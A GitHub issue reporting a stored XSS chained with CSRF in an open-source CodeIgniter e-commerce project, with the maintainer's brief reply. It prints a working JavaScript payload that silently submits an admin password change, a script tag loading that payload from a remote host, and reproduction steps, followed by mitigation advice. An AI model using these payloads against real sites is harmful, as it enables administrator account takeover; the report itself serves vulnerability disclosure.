kirilkirkov/Ecommerce-CodeIgniter-Bootstrap

Cross-Site Request Forgery (CSRF)

3v1lC0d3 opened this issue · 1 comments

3v1lC0d3 commented

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

CVSS3:CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C/CR:M/IR:H/AR:L/MAV:N/MAC:H/MPR:L/MUI:N/MS:U/MC:H/MI:H/MA:L
Severity:High - 7.1

Impacts:

  1. Unauthorized Actions: Attackers can trick users into performing actions they did not intend to, such as changing account details, making purchases, or transferring funds.
  2. Data Integrity Compromise: CSRF can lead to unauthorized changes to user data, affecting the accuracy and reliability of the information stored in the application.
  3. Security Breaches: If privileged accounts are targeted, attackers can gain unauthorized access to sensitive data or administrative functionalities.
  4. Loss of Trust: Users may lose trust in the security of the web application, leading to reputational damage for the organization.
  5. Financial Losses: Both users and organizations can suffer financial losses due to fraudulent transactions or unauthorized actions initiated by attackers.

During the application's inspection, many XSS vulnerabilities were found. Additionally, a Cross-Site Request Forgery (CSRF) was detected and used together to achieve a significant impact on the business. The report of these vulnerabilities is shown below. I started looking for vulnerabilities because, although there is no payment for finding them, I think it is really important to help others enhance their security.

Firstly, an XSS vulnerability was encountered in the product name parameter of the web application, as mentioned in the issue "#263". In conjunction with a CSRF, it was possible to change the administrator's password just by inserting the following payload.

<script>var form = document.createElement("form");form.action ="http://localhost/ecomerce/admin/changePass"; form.method = "POST";var input = document.createElement("input");input.type="hidden";input.name ="new_pass"; input.value = "csrf";form.appendChild(input);document.body.appendChild(form);form.submit();</script>
However, there was a size restriction that made impossible to insert the payload shown above, eventually a way to insert it came to my mind and it's described below.

Proof of Concept:
The following payload was used to demonstrate the vulnerability:
`

<script src="http://127.0.0.1:8000/test.js"></script>

`

Steps to Reproduce:
1.To begin with the explotation,the attacker has to save the file test.js in a remote server with the content show below, this file is gonna be invoke remotly by the xss when the administrator check the products available in the store.

var form = document.createElement("form");form.action ="http://localhost/ecomerce/admin/changePass"; form.method = "POST";var input = document.createElement("input");input.type="hidden";input.name ="new_pass"; input.value = "csrf";form.appendChild(input);document.body.appendChild(form);form.submit();

  1. In the second place, to test this proof of concept, since this evaluation is being checked on a local environment, I ran a local server with Python where the file "test.js" is stored. This can be completed with the command:
    python -m http.server 8000
    image

  2. To continue this proof, it is required to save a product in the product name parameter with the following payload. This means that the remote file test.js is going to be invoked when the administrator checks the available products.

<script src="http://127.0.0.1:8000/test.js"></script>
image

4.To verify that the payload was successfully crafted, it is necessary to simulate an administrator login. To replicate the normal behavior, it is necessary to go to the product section and review the available items. Then a number 1 is shown this indicated that the changing of password correct done.
image

  1. To verify if the passwird was correctly configured it has to try a login with the nu password "csfr".
    image
    In the following picture the administrator shows up indicating that the pasword was changed by correctly by "csrf"
    image

Recommendations

  1. Use Anti-CSRF Tokens

    • Generate a unique CSRF token for each user session.
    • Include this token in all forms and state-changing requests (e.g., POST, PUT, DELETE).
    • Validate the token server-side to ensure it matches the user's session token.

  2. SameSite Cookies

    • Set the SameSite attribute for cookies to Strict or Lax. This helps prevent cookies from being sent along with cross-site requests.
    • Example: Set-Cookie: sessionId=abc123; SameSite=Strict

  3. Custom Headers

    • Use custom headers for AJAX requests (e.g., X-Requested-With: XMLHttpRequest). CSRF attacks typically can't set custom headers.

  4. Double Submit Cookies

    • Send a CSRF token as both a cookie and a request parameter. Validate that both values match on the server side.

  5. Check Referrer and Origin Headers

    • Validate the Referer and Origin headers to ensure requests are coming from trusted sources. However, these headers can sometimes be absent or modified.

  6. User Interaction Validation

    • Require user interaction for sensitive actions (e.g., entering a password before changing account settings).

  7. Rate Limiting

    • Implement rate limiting to reduce the impact of automated CSRF attacks.

  8. Content Security Policy (CSP)

    • Use CSP to restrict the origins from which content can be loaded, reducing the risk of malicious scripts.

  9. Framework and Library Features

    • Use built-in CSRF protection features provided by web frameworks and libraries (e.g., Django, Ruby on Rails, ASP.NET).

  10. Regular Security Audits

    • Regularly audit your codebase and dependencies for vulnerabilities and ensure all security patches are applied.

References

https://owasp.org/www-community/attacks/csrf

kirilkirkov commented

Hello @3v1lC0d3
since i don't have free time and the project is open source, feel free to make a pull request with CSRF implementation and i will merge it.